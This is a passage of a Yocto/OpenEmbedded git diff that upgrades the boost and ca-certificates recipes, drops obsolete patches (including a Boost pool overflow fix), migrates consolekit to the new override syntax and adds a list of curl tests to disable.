-+ size_type POD_size = integer::static_lcm<sizeof(size_type), sizeof(void *)>::value + sizeof(size_type);
-+ size_type max_chunks = (std::numeric_limits<size_type>::max() - POD_size) / alloc_size();
-+
-+ return max_chunks;
-+ }
-+
- static void * & nextof(void * const ptr)
- { //! \returns Pointer dereferenced.
- //! (Provided and used for the sake of code readability :)
-@@ -375,6 +386,8 @@ class pool: protected simple_segregated_storage < typename UserAllocator::size_t
- //! the first time that object needs to allocate system memory.
- //! The default is 32. This parameter may not be 0.
- //! \param nmax_size is the maximum number of chunks to allocate in one block.
-+ set_next_size(nnext_size);
-+ set_max_size(nmax_size);
- }
-
- ~pool()
-@@ -398,8 +411,8 @@ class pool: protected simple_segregated_storage < typename UserAllocator::size_t
- }
- void set_next_size(const size_type nnext_size)
- { //! Set number of chunks to request from the system the next time that object needs to allocate system memory. This value should never be set to 0.
-- //! \returns nnext_size.
-- next_size = start_size = nnext_size;
-+ BOOST_USING_STD_MIN();
-+ next_size = start_size = min BOOST_PREVENT_MACRO_SUBSTITUTION(nnext_size, max_chunks());
- }
- size_type get_max_size() const
- { //! \returns max_size.
-@@ -407,7 +420,8 @@ class pool: protected simple_segregated_storage < typename UserAllocator::size_t
- }
- void set_max_size(const size_type nmax_size)
- { //! Set max_size.
-- max_size = nmax_size;
-+ BOOST_USING_STD_MIN();
-+ max_size = min BOOST_PREVENT_MACRO_SUBSTITUTION(nmax_size, max_chunks());
- }
- size_type get_requested_size() const
- { //! \returns the requested size passed into the constructor.
-@@ -708,9 +722,9 @@ void * pool<UserAllocator>::malloc_need_resize()
-
- BOOST_USING_STD_MIN();
- if(!max_size)
-- next_size <<= 1;
-+ set_next_size(next_size << 1);
- else if( next_size*partition_size/requested_size < max_size)
-- next_size = min BOOST_PREVENT_MACRO_SUBSTITUTION(next_size << 1, max_size*requested_size/ partition_size);
-+ set_next_size(min BOOST_PREVENT_MACRO_SUBSTITUTION(next_size << 1, max_size * requested_size / partition_size));
-
- // initialize it,
- store().add_block(node.begin(), node.element_size(), partition_size);
-@@ -748,9 +762,9 @@ void * pool<UserAllocator>::ordered_malloc_need_resize()
-
- BOOST_USING_STD_MIN();
- if(!max_size)
-- next_size <<= 1;
-+ set_next_size(next_size << 1);
- else if( next_size*partition_size/requested_size < max_size)
-- next_size = min BOOST_PREVENT_MACRO_SUBSTITUTION(next_size << 1, max_size*requested_size/ partition_size);
-+ set_next_size(min BOOST_PREVENT_MACRO_SUBSTITUTION(next_size << 1, max_size * requested_size / partition_size));
-
- // initialize it,
- // (we can use "add_block" here because we know that
-@@ -792,6 +806,8 @@ void * pool<UserAllocator>::ordered_malloc(const size_type n)
- { //! Gets address of a chunk n, allocating new memory if not already available.
- //! \returns Address of chunk n if allocated ok.
- //! \returns 0 if not enough memory for n chunks.
-+ if (n > max_chunks())
-+ return 0;
-
- const size_type partition_size = alloc_size();
- const size_type total_req_size = n * requested_size;
-@@ -840,9 +856,9 @@ void * pool<UserAllocator>::ordered_malloc(const size_type n)
-
- BOOST_USING_STD_MIN();
- if(!max_size)
-- next_size <<= 1;
-+ set_next_size(next_size << 1);
- else if( next_size*partition_size/requested_size < max_size)
-- next_size = min BOOST_PREVENT_MACRO_SUBSTITUTION(next_size << 1, max_size*requested_size/ partition_size);
-+ set_next_size(min BOOST_PREVENT_MACRO_SUBSTITUTION(next_size << 1, max_size * requested_size / partition_size));
-
- // insert it into the list,
- // handle border case.
diff --git a/meta/recipes-support/boost/boost/boost-math-disable-pch-for-gcc.patch b/meta/recipes-support/boost/boost/boost-math-disable-pch-for-gcc.patch
index 595ba17865..9b6fcc6358 100644
--- a/meta/recipes-support/boost/boost/boost-math-disable-pch-for-gcc.patch
+++ b/meta/recipes-support/boost/boost/boost-math-disable-pch-for-gcc.patch
@@ -1,4 +1,4 @@
-From cabfcba1ff7511ffd6b91ca244288d44f585aad2 Mon Sep 17 00:00:00 2001
+From d6864bd78c01c5e8578805a7b67555c70a0e99a2 Mon Sep 17 00:00:00 2001
From: Jackie Huang <jackie.huang@windriver.com>
Date: Fri, 23 Sep 2016 01:04:50 -0700
Subject: [PATCH] boost-math: disable pch for gcc
@@ -14,10 +14,10 @@ Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/libs/math/build/Jamfile.v2 b/libs/math/build/Jamfile.v2
-index e19fb2e..82472a7 100644
+index fd840287e..5aff7d724 100644
--- a/libs/math/build/Jamfile.v2
+++ b/libs/math/build/Jamfile.v2
-@@ -13,7 +13,7 @@ project
+@@ -14,7 +14,7 @@ project
#<toolset>intel-linux:<pch>off
<toolset>intel-darwin:<pch>off
<toolset>msvc-7.1:<pch>off
@@ -26,6 +26,3 @@ index e19fb2e..82472a7 100644
#<toolset>gcc:<cxxflags>-fvisibility=hidden
<toolset>intel-linux:<cxxflags>-fvisibility=hidden
#<toolset>sun:<cxxflags>-xldscope=hidden
---
-2.7.4
-
diff --git a/meta/recipes-support/boost/boost_1.73.0.bb b/meta/recipes-support/boost/boost_1.73.0.bb
deleted file mode 100644
index 995c14e8cc..0000000000
--- a/meta/recipes-support/boost/boost_1.73.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require boost-${PV}.inc
-require boost.inc
-
-SRC_URI += "file://arm-intrinsics.patch \
- file://boost-CVE-2012-2677.patch \
- file://boost-math-disable-pch-for-gcc.patch \
- file://0001-Apply-boost-1.62.0-no-forced-flags.patch.patch \
- file://0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch \
- file://0001-dont-setup-compiler-flags-m32-m64.patch \
- file://0001-Make-index-detail-rtree-visitors-insert-base-class-p.patch \
- "
diff --git a/meta/recipes-support/boost/boost_1.84.0.bb b/meta/recipes-support/boost/boost_1.84.0.bb
new file mode 100644
index 0000000000..4b580d078b
--- /dev/null
+++ b/meta/recipes-support/boost/boost_1.84.0.bb
@@ -0,0 +1,7 @@
+require boost-${PV}.inc
+require boost.inc
+
+SRC_URI += "file://boost-math-disable-pch-for-gcc.patch \
+ file://0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch \
+ file://0001-dont-setup-compiler-flags-m32-m64.patch \
+ "
diff --git a/meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch b/meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch
deleted file mode 100644
index c6dcee915e..0000000000
--- a/meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 19c117c3d1388654da484e26afb3fb6c3e4181a9 Mon Sep 17 00:00:00 2001
-From: Daniel Klauer <daniel.klauer@gin.de>
-Date: Tue, 30 Jul 2019 11:39:09 +0200
-Subject: [PATCH] Build debug version of bjam
-
-bjam is stripped by default, this causes QA warning while stripping it
-from do_populate_sysroot():
-
- WARNING: File '.../tmp/sysroots/x86_64-linux/usr/bin/bjam' \
- from bjam-native was already stripped, \
- this will prevent future debugging!
-
-The JAM scripts allow to build unstripped version with '--debug'. Just
-build and install the bjam.debug to stop bjam from being stripped in
-compile step.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- bootstrap.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/bootstrap.sh b/bootstrap.sh
-index ca0b08d58..87f38dcf2 100755
---- a/bootstrap.sh
-+++ b/bootstrap.sh
-@@ -223,7 +223,7 @@ rm -f config.log
- if test "x$BJAM" = x; then
- $ECHO -n "Building Boost.Build engine with toolset $TOOLSET... "
- pwd=`pwd`
-- (cd "$my_dir/tools/build/src/engine" && ./build.sh "$TOOLSET") > bootstrap.log 2>&1
-+ (cd "$my_dir/tools/build/src/engine" && ./build.sh "$TOOLSET" --debug) > bootstrap.log 2>&1
- if [ $? -ne 0 ]; then
- echo
- echo "Failed to build Boost.Build build engine"
---
-2.17.1
-
diff --git a/meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch b/meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch
deleted file mode 100644
index 4c6ef2ed84..0000000000
--- a/meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 2afd025997a57794ce24e07e914b461dfea6ba5f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 26 Aug 2019 16:04:16 +0200
-Subject: [PATCH] build.sh: use -DNDEBUG also in debug builds
-
-Without it, there is a significant performance regression
-when running 'bjam install'.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tools/build/src/engine/build.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/tools/build/src/engine/build.sh b/tools/build/src/engine/build.sh
-index a1e4cd335..64e0a4c80 100755
---- a/tools/build/src/engine/build.sh
-+++ b/tools/build/src/engine/build.sh
-@@ -436,7 +436,7 @@ case $B2_OS in
- ;;
- esac
-
--if check_debug_build "$@" ; then B2_CXXFLAGS="${B2_CXXFLAGS_DEBUG}"
-+if check_debug_build "$@" ; then B2_CXXFLAGS="${B2_CXXFLAGS_DEBUG} -DNDEBUG"
- else B2_CXXFLAGS="${B2_CXXFLAGS_RELEASE} -DNDEBUG"
- fi
- echo_run ${B2_CXX} ${CXXFLAGS} ${B2_CXXFLAGS} ${B2_SOURCES} -o b2
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch b/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch
new file mode 100644
index 0000000000..5c4a32f526
--- /dev/null
+++ b/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch
@@ -0,0 +1,80 @@
+From cb43ec15b700b25f3c4fe44043a1a021aaf5b768 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 18 Oct 2021 12:05:49 +0200
+Subject: [PATCH] Revert "mozilla/certdata2pem.py: print a warning for expired
+ certificates."
+
+This avoids a dependency on python3-cryptography, and only checks
+for expired certs (which is upstream concern, but not ours).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ debian/changelog | 1 -
+ debian/control | 2 +-
+ mozilla/certdata2pem.py | 11 -----------
+ 3 files changed, 1 insertion(+), 13 deletions(-)
+
+diff --git a/debian/changelog b/debian/changelog
+index 531e4d0..4006509 100644
+--- a/debian/changelog
++++ b/debian/changelog
+@@ -37,7 +37,6 @@ ca-certificates (20211004) unstable; urgency=low
+ - "Trustis FPS Root CA"
+ - "Staat der Nederlanden Root CA - G3"
+ * Blacklist expired root certificate "DST Root CA X3" (closes: #995432)
+- * mozilla/certdata2pem.py: print a warning for expired certificates.
+
+ -- Julien Cristau <jcristau@debian.org> Thu, 07 Oct 2021 17:12:47 +0200
+
+diff --git a/debian/control b/debian/control
+index 4434b7a..5c6ba24 100644
+--- a/debian/control
++++ b/debian/control
+@@ -3,7 +3,7 @@ Section: misc
+ Priority: optional
+ Maintainer: Julien Cristau <jcristau@debian.org>
+ Build-Depends: debhelper-compat (= 13), po-debconf
+-Build-Depends-Indep: python3, openssl, python3-cryptography
++Build-Depends-Indep: python3, openssl
+ Standards-Version: 4.5.0.2
+ Vcs-Git: https://salsa.debian.org/debian/ca-certificates.git
+ Vcs-Browser: https://salsa.debian.org/debian/ca-certificates
+diff --git a/mozilla/certdata2pem.py b/mozilla/certdata2pem.py
+index ede23d4..7d796f1 100644
+--- a/mozilla/certdata2pem.py
++++ b/mozilla/certdata2pem.py
+@@ -21,16 +21,12 @@
+ # USA.
+
+ import base64
+-import datetime
+ import os.path
+ import re
+ import sys
+ import textwrap
+ import io
+
+-from cryptography import x509
+-
+-
+ objects = []
+
+ # Dirty file parser.
+@@ -121,13 +117,6 @@ for obj in objects:
+ if obj['CKA_CLASS'] == 'CKO_CERTIFICATE':
+ if not obj['CKA_LABEL'] in trust or not trust[obj['CKA_LABEL']]:
+ continue
+-
+- cert = x509.load_der_x509_certificate(obj['CKA_VALUE'])
+- if cert.not_valid_after < datetime.datetime.now():
+- print('!'*74)
+- print('Trusted but expired certificate found: %s' % obj['CKA_LABEL'])
+- print('!'*74)
+-
+ bname = obj['CKA_LABEL'][1:-1].replace('/', '_')\
+ .replace(' ', '_')\
+ .replace('(', '=')\
+--
+2.20.1
+
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch b/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch
deleted file mode 100644
index aa2c85ff43..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From b6d18ca77f131cdcaa10d0eaa9d303399767edf6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 28 Aug 2019 19:18:14 +0200
-Subject: [PATCH] certdata2pem.py: use python3
-
-Comments in that file imply it is already py3 compatible.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- mozilla/Makefile | 2 +-
- mozilla/certdata2pem.py | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/mozilla/Makefile b/mozilla/Makefile
-index 6f46118..f98877c 100644
---- a/mozilla/Makefile
-+++ b/mozilla/Makefile
-@@ -3,7 +3,7 @@
- #
-
- all:
-- python certdata2pem.py
-+ python3 certdata2pem.py
-
- clean:
- -rm -f *.crt
-diff --git a/mozilla/certdata2pem.py b/mozilla/certdata2pem.py
-index 0b02b2a..7d796f1 100644
---- a/mozilla/certdata2pem.py
-+++ b/mozilla/certdata2pem.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/python3
- # vim:set et sw=4:
- #
- # certdata2pem.py - splits certdata.txt into multiple files
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch b/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch
deleted file mode 100644
index a113fa8b15..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Pending
-
-Let us alter the install destination of the script via SBINDIR
-
---- ca-certificates-20130119.orig/sbin/Makefile
-+++ ca-certificates-20130119/sbin/Makefile
-@@ -3,9 +3,12 @@
- #
- #
-
-+SBINDIR = /usr/sbin
-+
- all:
-
- clean:
-
- install:
-- install -m755 update-ca-certificates $(DESTDIR)/usr/sbin/
-+ install -d $(DESTDIR)$(SBINDIR)
-+ install -m755 update-ca-certificates $(DESTDIR)$(SBINDIR)/
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch b/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch
deleted file mode 100644
index 6e2171f758..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 30378026d136efa779732e3f6664e2ecf461e458 Mon Sep 17 00:00:00 2001
-From: Patrick Ohly <patrick.ohly@intel.com>
-Date: Thu, 17 Mar 2016 12:38:09 +0100
-Subject: [PATCH] update-ca-certificates: support Toybox
-
-"mktemp -t" is deprecated and does not work when using Toybox. Replace
-with something that works also with Toybox.
-
-Upstream-Status: Pending
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
----
- sbin/update-ca-certificates | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/sbin/update-ca-certificates b/sbin/update-ca-certificates
-index 79c41bb..ae9e3f1 100755
---- a/sbin/update-ca-certificates
-+++ b/sbin/update-ca-certificates
-@@ -113,9 +113,9 @@ trap cleanup 0
-
- # Helper files. (Some of them are not simple arrays because we spawn
- # subshells later on.)
--TEMPBUNDLE="$(mktemp -t "${CERTBUNDLE}.tmp.XXXXXX")"
--ADDED="$(mktemp -t "ca-certificates.tmp.XXXXXX")"
--REMOVED="$(mktemp -t "ca-certificates.tmp.XXXXXX")"
-+TEMPBUNDLE="$(mktemp -p${TMPDIR:-/tmp} "${CERTBUNDLE}.tmp.XXXXXX")"
-+ADDED="$(mktemp -p${TMPDIR:-/tmp} "ca-certificates.tmp.XXXXXX")"
-+REMOVED="$(mktemp -p${TMPDIR:-/tmp} "ca-certificates.tmp.XXXXXX")"
-
- # Adds a certificate to the list of trusted ones. This includes a symlink
- # in /etc/ssl/certs to the certificate file and its inclusion into the
---
-2.1.4
diff --git a/meta/recipes-support/ca-certificates/ca-certificates_20200601.bb b/meta/recipes-support/ca-certificates/ca-certificates_20200601.bb
deleted file mode 100644
index 6f39df7985..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates_20200601.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-SUMMARY = "Common CA certificates"
-DESCRIPTION = "This package includes PEM files of CA certificates to allow \
-SSL-based applications to check for the authenticity of SSL connections. \
-This derived from Debian's CA Certificates."
-HOMEPAGE = "http://packages.debian.org/sid/ca-certificates"
-SECTION = "misc"
-LICENSE = "GPL-2.0+ & MPL-2.0"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=ae5b36b514e3f12ce1aa8e2ee67f3d7e"
-
-# This is needed to ensure we can run the postinst at image creation time
-DEPENDS = ""
-DEPENDS_class-native = "openssl-native"
-DEPENDS_class-nativesdk = "openssl-native"
-# Need rehash from openssl and run-parts from debianutils
-PACKAGE_WRITE_DEPS += "openssl-native debianutils-native"
-
-SRCREV = "b3a8980b781bc9a370e42714a605cd4191bb6c0b"
-
-SRC_URI = "git://salsa.debian.org/debian/ca-certificates.git;protocol=https \
- file://0002-update-ca-certificates-use-SYSROOT.patch \
- file://0001-update-ca-certificates-don-t-use-Debianisms-in-run-p.patch \
- file://update-ca-certificates-support-Toybox.patch \
- file://default-sysroot.patch \
- file://sbindir.patch \
- file://0003-update-ca-certificates-use-relative-symlinks-from-ET.patch \
- file://0001-certdata2pem.py-use-python3.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+)"
-
-S = "${WORKDIR}/git"
-
-inherit allarch
-
-EXTRA_OEMAKE = "\
- 'CERTSDIR=${datadir}/ca-certificates' \
- 'SBINDIR=${sbindir}' \
-"
-
-do_compile_prepend() {
- oe_runmake clean
-}
-
-do_install () {
- install -d ${D}${datadir}/ca-certificates \
- ${D}${sysconfdir}/ssl/certs \
- ${D}${sysconfdir}/ca-certificates/update.d
- oe_runmake 'DESTDIR=${D}' install
-
- install -d ${D}${mandir}/man8
- install -m 0644 sbin/update-ca-certificates.8 ${D}${mandir}/man8/
-
- install -d ${D}${sysconfdir}
- {
- echo "# Lines starting with # will be ignored"
- echo "# Lines starting with ! will remove certificate on next update"
- echo "#"
- find ${D}${datadir}/ca-certificates -type f -name '*.crt' | \
- sed 's,^${D}${datadir}/ca-certificates/,,' | sort
- } >${D}${sysconfdir}/ca-certificates.conf
-}
-
-do_install_append_class-target () {
- sed -i -e 's,/etc/,${sysconfdir}/,' \
- -e 's,/usr/share/,${datadir}/,' \
- -e 's,/usr/local,${prefix}/local,' \
- ${D}${sbindir}/update-ca-certificates \
- ${D}${mandir}/man8/update-ca-certificates.8
-}
-
-pkg_postinst_${PN}_class-target () {
- SYSROOT="$D" $D${sbindir}/update-ca-certificates
-}
-
-CONFFILES_${PN} += "${sysconfdir}/ca-certificates.conf"
-
-# Rather than make a postinst script that works for both target and nativesdk,
-# we just run update-ca-certificate from do_install() for nativesdk.
-CONFFILES_${PN}_append_class-nativesdk = " ${sysconfdir}/ssl/certs/ca-certificates.crt"
-do_install_append_class-nativesdk () {
- SYSROOT="${D}${SDKPATHNATIVE}" ${D}${sbindir}/update-ca-certificates
-}
-
-do_install_append_class-native () {
- SYSROOT="${D}${base_prefix}" ${D}${sbindir}/update-ca-certificates
-}
-
-RDEPENDS_${PN}_class-target = "openssl-bin"
-RDEPENDS_${PN}_class-native = "openssl-native"
-RDEPENDS_${PN}_class-nativesdk = "nativesdk-openssl-bin"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb b/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb
new file mode 100644
index 0000000000..99abe60613
--- /dev/null
+++ b/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb
@@ -0,0 +1,89 @@
+SUMMARY = "Common CA certificates"
+DESCRIPTION = "This package includes PEM files of CA certificates to allow \
+SSL-based applications to check for the authenticity of SSL connections. \
+This derived from Debian's CA Certificates."
+HOMEPAGE = "http://packages.debian.org/sid/ca-certificates"
+SECTION = "misc"
+LICENSE = "GPL-2.0-or-later & MPL-2.0"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=ae5b36b514e3f12ce1aa8e2ee67f3d7e"
+
+# This is needed to ensure we can run the postinst at image creation time
+DEPENDS = ""
+DEPENDS:class-native = "openssl-native"
+DEPENDS:class-nativesdk = "openssl-native"
+# Need rehash from openssl and run-parts from debianutils
+PACKAGE_WRITE_DEPS += "openssl-native debianutils-native"
+
+SRCREV = "07de54fdcc5806bde549e1edf60738c6bccf50e8"
+
+SRC_URI = "git://salsa.debian.org/debian/ca-certificates.git;protocol=https;branch=master \
+ file://0002-update-ca-certificates-use-SYSROOT.patch \
+ file://0001-update-ca-certificates-don-t-use-Debianisms-in-run-p.patch \
+ file://default-sysroot.patch \
+ file://0003-update-ca-certificates-use-relative-symlinks-from-ET.patch \
+ file://0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+)"
+
+S = "${WORKDIR}/git"
+
+inherit allarch
+
+EXTRA_OEMAKE = "\
+ 'CERTSDIR=${datadir}/ca-certificates' \
+ 'SBINDIR=${sbindir}' \
+"
+
+do_compile:prepend() {
+ oe_runmake clean
+}
+
+do_install () {
+ install -d ${D}${datadir}/ca-certificates \
+ ${D}${sysconfdir}/ssl/certs \
+ ${D}${sysconfdir}/ca-certificates/update.d
+ oe_runmake 'DESTDIR=${D}' install
+
+ install -d ${D}${mandir}/man8
+ install -m 0644 sbin/update-ca-certificates.8 ${D}${mandir}/man8/
+
+ install -d ${D}${sysconfdir}
+ {
+ echo "# Lines starting with # will be ignored"
+ echo "# Lines starting with ! will remove certificate on next update"
+ echo "#"
+ find ${D}${datadir}/ca-certificates -type f -name '*.crt' | \
+ sed 's,^${D}${datadir}/ca-certificates/,,' | sort
+ } >${D}${sysconfdir}/ca-certificates.conf
+}
+
+do_install:append:class-target () {
+ sed -i -e 's,/etc/,${sysconfdir}/,' \
+ -e 's,/usr/share/,${datadir}/,' \
+ -e 's,/usr/local,${prefix}/local,' \
+ ${D}${sbindir}/update-ca-certificates \
+ ${D}${mandir}/man8/update-ca-certificates.8
+}
+
+pkg_postinst:${PN}:class-target () {
+ SYSROOT="$D" $D${sbindir}/update-ca-certificates
+}
+
+CONFFILES:${PN} += "${sysconfdir}/ca-certificates.conf"
+
+# Rather than make a postinst script that works for both target and nativesdk,
+# we just run update-ca-certificate from do_install() for nativesdk.
+CONFFILES:${PN}:append:class-nativesdk = " ${sysconfdir}/ssl/certs/ca-certificates.crt"
+do_install:append:class-nativesdk () {
+ SYSROOT="${D}${SDKPATHNATIVE}" ${D}${sbindir}/update-ca-certificates
+}
+
+do_install:append:class-native () {
+ SYSROOT="${D}${base_prefix}" ${D}${sbindir}/update-ca-certificates
+}
+
+RDEPENDS:${PN}:append:class-target = " openssl-bin openssl"
+RDEPENDS:${PN}:append:class-native = " openssl-native"
+RDEPENDS:${PN}:append:class-nativesdk = " nativesdk-openssl-bin nativesdk-openssl"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/consolekit/consolekit_0.4.6.bb b/meta/recipes-support/consolekit/consolekit_0.4.6.bb
index 89f2d77b66..346bd60e4d 100644
--- a/meta/recipes-support/consolekit/consolekit_0.4.6.bb
+++ b/meta/recipes-support/consolekit/consolekit_0.4.6.bb
@@ -1,13 +1,15 @@
SUMMARY = "Framework for defining and tracking users, login sessions, and seats"
+DESCRIPTION = "It provides a mechanism for software to react to changes \
+of any of these items or of any of the metadata associated with them."
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/ConsoleKit"
BUGTRACKER = "https://bugs.freedesktop.org/buglist.cgi?query_format=specific&product=ConsoleKit"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
file://src/main.c;endline=21;md5=0a994e09769780220163255d8f9071c3"
DEPENDS = "glib-2.0 glib-2.0-native dbus dbus-glib virtual/libx11"
-RDEPENDS_${PN} += "base-files"
+RDEPENDS:${PN} += "base-files"
inherit autotools pkgconfig features_check
# depends on virtual/libx11
@@ -27,17 +29,17 @@ PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd polkit', d
PACKAGECONFIG[pam] = "--enable-pam-module --with-pam-module-dir=${base_libdir}/security,--disable-pam-module,libpam"
PACKAGECONFIG[polkit] = "--with-polkit,--without-polkit,polkit"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/,--with-systemdsystemunitdir="
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/,--with-systemdsystemunitdir="
-FILES_${PN} += "${exec_prefix}/lib/ConsoleKit \
+FILES:${PN} += "${exec_prefix}/lib/ConsoleKit \
${libdir}/ConsoleKit ${systemd_unitdir} ${base_libdir} \
${datadir}/dbus-1 ${datadir}/PolicyKit ${datadir}/polkit*"
PACKAGES =+ "pam-plugin-ck-connector"
-FILES_pam-plugin-ck-connector += "${base_libdir}/security/*.so"
-RDEPENDS_pam-plugin-ck-connector += "${PN}"
+FILES:pam-plugin-ck-connector += "${base_libdir}/security/*.so"
+RDEPENDS:pam-plugin-ck-connector += "${PN}"
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/tmpfiles.d
echo "d ${localstatedir}/log/ConsoleKit - - - -" \
diff --git a/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch b/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch
deleted file mode 100644
index a7db1b3c9e..0000000000
--- a/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From ed70f0623708b8a6c1f58a5d243d87c5ff45b24d Mon Sep 17 00:00:00 2001
-From: Roy Li <rongqing.li@windriver.com>
-Date: Tue, 26 Apr 2016 13:13:01 +0800
-Subject: [PATCH] replace krb5-config with pkg-config
-
-Upstream-Status: Pending
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5569a26..56b0380 100755
---- a/configure.ac
-+++ b/configure.ac
-@@ -1290,7 +1290,7 @@ AC_ARG_WITH(gssapi,
- fi
- ])
-
--: ${KRB5CONFIG:="$GSSAPI_ROOT/bin/krb5-config"}
-+KRB5CONFIG=`which pkg-config`
-
- save_CPPFLAGS="$CPPFLAGS"
- AC_MSG_CHECKING([if GSS-API support is requested])
-@@ -1301,7 +1301,7 @@ if test x"$want_gss" = xyes; then
- if test -n "$host_alias" -a -f "$GSSAPI_ROOT/bin/$host_alias-krb5-config"; then
- GSSAPI_INCS=`$GSSAPI_ROOT/bin/$host_alias-krb5-config --cflags gssapi`
- elif test -f "$KRB5CONFIG"; then
-- GSSAPI_INCS=`$KRB5CONFIG --cflags gssapi`
-+ GSSAPI_INCS=`$KRB5CONFIG --cflags mit-krb5-gssapi`
- elif test "$GSSAPI_ROOT" != "yes"; then
- GSSAPI_INCS="-I$GSSAPI_ROOT/include"
- fi
-@@ -1394,7 +1394,7 @@ if test x"$want_gss" = xyes; then
- elif test -f "$KRB5CONFIG"; then
- dnl krb5-config doesn't have --libs-only-L or similar, put everything
- dnl into LIBS
-- gss_libs=`$KRB5CONFIG --libs gssapi`
-+ gss_libs=`$KRB5CONFIG --libs mit-krb5-gssapi`
- LIBS="$gss_libs $LIBS"
- else
- case $host in
diff --git a/meta/recipes-support/curl/curl/disable-tests b/meta/recipes-support/curl/curl/disable-tests
new file mode 100644
index 0000000000..259576fd01
--- /dev/null
+++ b/meta/recipes-support/curl/curl/disable-tests
@@ -0,0 +1,41 @@
+# Intermittently fails e.g. https://autobuilder.yocto.io/pub/non-release/20231220-28/testresults/qemux86-64-ptest/curl.log
+# https://autobuilder.yocto.io/pub/non-release/20231220-27/testresults/qemux86-64-ptest/curl.log
+337
+# These CRL test (alt-avc) are failing
+356
+412
+413
+# These CRL tests are scanning docs
+971
+# Intermittently hangs e.g http://autobuilder.yocto.io/pub/non-release/20231228-18/testresults/qemux86-64-ptest/curl.log
+1091
+# Intermittently hangs e.g https://autobuilder.yocto.io/pub/non-release/20231220-27/testresults/qemux86-64-ptest/curl.log
+1096
+# These CRL tests are scanning docs
+1119
+1132
+1135
+1478
+# These CRL tests are scanning headers
+1167
+1477
+# These CRL tests are scanning man pages
+1139
+1140
+1173
+1177
